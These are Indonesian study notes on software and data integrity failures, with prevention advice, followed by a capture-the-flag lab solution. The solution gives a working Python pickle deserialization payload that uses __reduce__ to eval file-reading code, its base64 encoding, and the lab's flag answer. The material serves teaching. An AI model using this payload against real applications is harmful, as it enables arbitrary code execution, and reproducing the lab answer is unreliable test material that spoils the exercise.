Aplikasi mempercayai komponen yang seharusnya diverifikasi terlebih dahulu.

Contoh Kasus Umum

• Update software tanpa validasi checksum atau signature
• Memuat script, konfigurasi, atau library dari sumber tidak terpercaya
• Tidak memvalidasi data yang memengaruhi logika aplikasi
• Menerima file seperti binary, template, atau JSON tanpa mengecek apakah sudah dimodifikasi

Dampak Software & Data Integrity Failures

Jika integritas tidak dijaga, attacker dapat:

• Menyisipkan kode berbahaya
• Memanipulasi alur logika aplikasi
• Menjalankan perintah berbahaya
• Mengambil alih sistem atau aplikasi

Cara Mencegah Software & Data Integrity Failures

Pencegahan dimulai dengan menetapkan trust boundary yang jelas.

Verifikasi Integritas & Keaslian

• Gunakan checksum atau hash kriptografis
• Verifikasi signature pada update atau package
• Pastikan hanya sumber terpercaya yang dapat mengubah artefak penting

Keamanan Proses Build & Deployment

• Terapkan kontrol integritas pada pipeline CI/CD
• Batasi akses terhadap artefak build
• Validasi dependensi pihak ketiga sebelum digunakan

Praktikal (Latihan)

Praktikal ini mendemonstrasikan serangan deserialization pada aplikasi Python.

Akses praktikal di:

http://10.48.130.27:8002

Tujuan

• Mengikuti langkah pada modul praktikal
• Membuat input berbahaya (malicious input)
• Mengirimkan payload ke aplikasi web

Rekomendasi Materi Tambahan

Untuk pendalaman materi, disarankan mempelajari:

• Insecure Deserialisation
• Supply Chain Attack: Lottie

praktek

Solution Steps

    Create a Python script to generate a malicious pickle payload that reads flag.txt
    The payload should use pickle's __reduce__ to execute open('flag.txt').read()
    Base64 encode the pickle payload
    Submit the base64-encoded payload to the form
    The deserialized output will contain the flag

Example Python code to generate payload:

import pickle
import base64

class Malicious:
    def __reduce__(self):
        # Return a tuple: (callable, args)
        # This will execute: open('flag.txt').read()
        return (eval, ("open('flag.txt').read()",))

# Generate and encode the payload
payload = pickle.dumps(Malicious())
encoded = base64.b64encode(payload).decode()
print(encoded)

# Copy the output and paste it into the form

import pickle
import base64

class Malicious:
    def __reduce__(self):
        # Return a tuple: (callable, args)
        # This will execute: open('flag.txt').read()
        return (eval, ("open('flag.txt').read()",))

# Generate and encode the payload
payload = pickle.dumps(Malicious())
encoded = base64.b64encode(payload).decode()
print(encoded)

gASVMwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwXb3BlbignZmxhZy50eHQnKS5yZWFkKCmUhZRSlC4=

• Use Python to pickle a malicious, serialised payload that reads the contents of flag.txt and submits it to the application. What are the contents of flag.txt?
  • You will need to use Python to generate a malicious, serialised payload to submit to the web application. The script has been provided to you within the web application.

THM{INSECURE_DESERIALIZATION}